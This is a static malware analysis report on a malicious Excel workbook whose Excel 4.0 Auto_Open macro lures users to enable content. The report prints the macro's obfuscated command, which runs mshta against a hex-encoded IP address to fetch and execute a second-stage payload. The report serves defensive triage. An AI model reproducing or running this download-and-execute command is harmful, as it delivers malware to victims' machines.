Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 7ab8fdb32c73c5d5…

MALICIOUS

Office (OLE) / .XLSX

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: bf56c1f6b05b7875cb3bf18d39334e12 SHA-1: 75fc4a5606535cd029c046eb23cb817131a65381 SHA-256: 7ab8fdb32c73c5d578dfa7eb5fb86a309ba5aa7d830e43f7f3acbadc23eec71a
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro. The document body explicitly instructs the user to "Enable Editing" and "Enable Content", a common lure. The extracted macro defines a string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html" and assigns it to the name "lll", which is then executed. This indicates the macro is designed to download and execute a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes